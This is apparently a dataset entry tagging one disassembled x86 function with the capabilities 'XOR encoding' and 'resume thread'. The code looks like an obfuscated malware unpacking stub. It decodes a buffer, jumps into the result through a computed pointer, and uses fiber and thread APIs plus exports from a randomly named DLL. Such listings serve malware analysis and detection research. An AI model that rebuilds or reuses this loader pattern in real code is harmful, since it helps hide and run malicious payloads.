Function at 0x1000a38e
Capabilities:
Encode data using xor
Resume thread

Disassembly:
sub esp, 0x20
push ebx
mov dword [esp + 0xc], 0x40b9
push ebp
mov dword [esp + 0x20], 0x4038
xor ebp, ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x14], ebp
push esi
mov dword [esp + 0xc], 0x404f
mov dword [esp + 0x10], ebp
mov dword [esp + 0x1c], 0x3edf
mov esi, dword [esp + 0xc]
mov edx, dword [esp + 0x24]
add esi, 0x718
mov ecx, dword [esp + 0xc]
xor edx, 0x75f
mov eax, dword [esp + 0x18]
push edi
push 0x10061458
add eax, 0x4343
push eax
push ecx
push edx
push esi
call sym.ghhelc799cs5.dll_CewKUR
mov dword [esp + 0x28], eax
mov edi, dword [esp + 0x3c]
mov edx, dword [esp + 0x28]
add edi, 0x6d8
mov ecx, dword [esp + 0x2c]
add edx, 0x679
mov eax, dword [esp + 0x34]
xor ecx, 0xf6
mov esi, dword [0x1004b8b4]
add eax, 0x88d
push eax
push ecx
push edx
push esi
push edi
call fcn.1000c302
mov dword [esp + 0x48], eax
mov eax, 0x362
mov ebx, dword [esp + 0x38]
mov edi, dword [esp + 0x38]
add ebx, eax
mov esi, dword [esp + 0x44]
add edi, eax
mov edx, dword [esp + 0x4c]
add esi, 0x4710
mov ecx, dword [esp + 0x3c]
xor edx, 0x3fb9
mov eax, dword [esp + 0x38]
sub ecx, 0x9f
add eax, 0x415
push eax
push ecx
push edx
push esi
push edi
mov edi, 0x10061458
push edi
push ebx
call fcn.1000b80f
mov ecx, dword [0x10061528]
add esp, 0x44
mov dword [esp + 0x14], eax
add ecx, 0xffee3b1e
mov eax, dword [0x1004b8b4]
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
xor esi, 0x4464
add edx, 0x233
mov dword [eax + 0x3c], ecx
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
add ecx, 0x72b
add eax, 0x657
push eax
push edi
push ecx
push edx
push esi
call fcn.1000e052
mov dword [esp + 0x30], eax
add esp, 0x14
mov eax, dword [0x1006154c]
xor eax, 0x4b0c1
sub dword [0x10061494], eax
add dword [esp + 0x24], 0x408b
cmp dword [0x10061458], 0xcedc
je 0x1000a500
mov eax, dword [0x1004b8b4]
mov dword [eax + 0x88], 0x100111f8
mov edx, dword [0x100614b0]
mov eax, dword [0x100614e0]
mov ebx, dword [eax + ebp]
add ebp, 4
mov eax, dword [0x1004b8b4]
imul ebx, dword [eax + 0x3c]
mov eax, dword [0x100614e4]
mov ecx, ebx
shr ecx, 0x18
mov byte [eax + edx], cl
mov edx, ebx
inc dword [0x100614b0]
mov ecx, dword [0x1004b8b4]
shr edx, 0x10
mov eax, dword [ecx + 0x28]
sub eax, 0x1a1769
add dword [ecx + 0x48], eax
mov esi, dword [0x1004b8b4]
mov ecx, dword [0x1006148c]
add ecx, 0xfffcec11
mov eax, dword [esi + 0x7c]
add dword [0x10061524], ecx
sub eax, 0xd79d24
or dword [0x1006154c], eax
mov ecx, dword [esi + 0x58]
mov eax, dword [0x100614e4]
mov byte [eax + ecx], dl
mov edx, ebx
mov eax, dword [0x1004b8b4]
shr edx, 8
inc dword [eax + 0x58]
mov ecx, dword [0x100614b0]
mov eax, dword [0x100614e4]
mov byte [eax + ecx], dl
inc dword [0x100614b0]
mov ecx, dword [0x1004b8b4]
mov eax, dword [0x10061480]
add eax, 0xffe5e897
xor dword [ecx + 0xd0], eax
mov ecx, dword [0x100614b0]
mov eax, dword [0x100614e4]
mov byte [eax + ecx], bl
mov eax, 0x1446d4
mov edx, dword [0x100614b0]
sub eax, dword [0x10061500]
inc edx
add dword [0x1006148c], eax
mov dword [0x100614b0], edx
cmp ebp, 0x3114
jl 0x1000a506
mov eax, dword [esp + 0x1c]
add eax, 0xffffff2a
push 0
pop ebp
cmp dword [esp + 0x10], eax
je 0x1000a94f
mov eax, dword [esp + 0x28]
xor eax, 0x75f
cmp dword [esp + 0x14], eax
jge 0x1000a784
mov eax, dword [0x100614d4]
cmp eax, dword [0x100614c4]
mov edx, dword [0x1004b8b4]
cmovbe edi, dword [0x10061520]
mov dword [0x10061520], edi
mov eax, dword [edx + 0xd0]
cmp eax, dword [edx + 0x60]
je 0x1000a652
mov eax, dword [0x10061468]
add eax, dword [0x1006146c]
add eax, dword [0x10061504]
xor eax, 0xe8c6e04d
mov dword [0x10061554], eax
jmp 0x1000a65d
mov eax, dword [0x10061458]
add dword [0x10061528], eax
mov ecx, dword [0x10061508]
lea eax, [ecx - 1]
or dword [edx + 0x34], eax
mov eax, dword [0x1006154c]
add eax, dword [0x10061530]
xor eax, dword [0x10061530]
mov edx, dword [0x1004b8b4]
xor eax, 0x88a68
mov ecx, dword [0x100614fc]
mov dword [0x10061530], eax
mov eax, dword [edx + 0x34]
xor eax, ecx
add ecx, 0xff2862dc
xor eax, 0x313ee
sub dword [0x10061458], eax
mov eax, dword [edx + 0x7c]
add eax, ecx
mov ecx, dword [0x100614e8]
mov dword [0x100614fc], eax
mov eax, dword [0x100614b4]
xor dword [ecx + ebp], eax
add ebp, 4
mov edx, dword [0x1004b8b4]
mov eax, dword [0x100614f8]
add dword [0x100614b4], eax
mov ecx, dword [0x10061534]
mov eax, dword [edx + 0xd0]
sub eax, 0x11f6f7
or ecx, eax
mov dword [0x10061534], ecx
mov eax, dword [edx + 0xf4]
xor eax, 0x4b304
sub ecx, eax
mov eax, dword [0x100614f4]
mov dword [0x10061534], ecx
add eax, 0xffe9c538
add eax, dword [edx + 0xdc]
mov ecx, dword [0x10061508]
xor ecx, eax
mov dword [0x10061508], ecx
cmp ebp, 0x2e830
jl 0x1000a663
mov eax, dword [edx + 0xcc]
cmp eax, dword [edx + 0x6c]
ja 0x1000a74a
mov eax, dword [edx + 0xf4]
add eax, dword [0x100614a8]
add eax, dword [0x10061500]
mov dword [edx + 0x60], eax
jmp 0x1000a754
mov eax, dword [0x100614e8]
mov dword [0x100614d8], eax
add dword [esp + 0x14], 0x71d
mov eax, dword [0x100614e4]
add eax, dword [0x1006152c]
push eax
push dword [0x10061520]
push dword [0x10061554]
call dword [0x100614d8]
mov dword [0x1006151c], eax
jmp 0x1000a94f
mov ecx, dword [0x100614a0]
xor ecx, dword [0x10061510]
mov eax, dword [esp + 0x24]
and eax, ecx
cmp dword [esp + 0x18], eax
jne 0x1000a949
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x20]
xor ebx, 0x45a6
xor edi, dword [esp + 0x1c]
mov eax, dword [0x1004b8b4]
mov edx, dword [0x1006148c]
imul edx, dword [0x10061530]
mov eax, dword [eax + 0x60]
add eax, 0x40b9
imul ebp, eax, 0x4710
mov eax, dword [0x1004b8b4]
mov esi, dword [eax + 0xa8]
mov eax, dword [esp + 0x14]
sub edx, eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
xor eax, 0x476c
sub esi, dword [0x10061500]
or ecx, eax
mov eax, dword [0x100614f0]
add esi, dword [0x100614dc]
and eax, 0x40ee
sub eax, 0x47e4
push eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov eax, dword [esp + 0x10]
mov ebp, 0x10061458
mov esi, dword [esp + 0x28]
add eax, 0xffffbc4f
mov edx, dword [esp + 0x10]
xor esi, eax
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x20]
imul eax, dword [0x1006149c]
sub edx, dword [0x100614fc]
or ecx, dword [0x10061508]
or edx, dword [0x1006148c]
push ebp
push eax
push ecx
push edx
push esi
call sym.ghhelc799cs5.dll_QzVO354E
mov ebx, dword [0x100614b8]
imul ebx, dword [0x100614fc]
mov dword [esp + 0x34], eax
mov edi, dword [esp + 0x2c]
mov esi, dword [esp + 0x38]
mov eax, dword [esp + 0x34]
imul eax, dword [0x10061528]
or esi, dword [0x100614a0]
sub edi, dword [0x10061528]
or esi, 0x43b1
imul edx, eax, 0x4227
mov eax, dword [0x1004b8b4]
mov ecx, dword [eax + 0xd8]
or ecx, 0x4767
sub ecx, dword [eax + 0x64]
push ecx
push ebp
push edx
push esi
push edi
push ebx
call fcn.1000b611
mov dword [esp + 0x3c], eax
add esp, 0x2c
mov eax, dword [0x100614ec]
add eax, dword [0x10061530]
or eax, 0x404f
push eax
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov esi, dword [0x10061534]
mov eax, 0xffffb8f0
sub esi, dword [0x10061510]
mov edx, dword [esp + 0x18]
sub eax, dword [0x10061534]
mov ecx, dword [esp + 0x18]
add edx, eax
mov eax, dword [0x100614d0]
xor eax, dword [0x10061530]
or ecx, dword [0x100614dc]
push eax
push dword [0x1004b8b4]
push ecx
push edx
push esi
call sym.ghhelc799cs5.dll_KTw434UJ
mov dword [esp + 0x3c], eax
add esp, 0x14
mov eax, dword [esp + 0x20]
mov ecx, dword [0x10061480]
sub ecx, eax
and ecx, dword [0x10061464]
push ecx
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov eax, dword [esp + 0x14]
or eax, 0x4710
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1000a94f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x1006151c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 0x10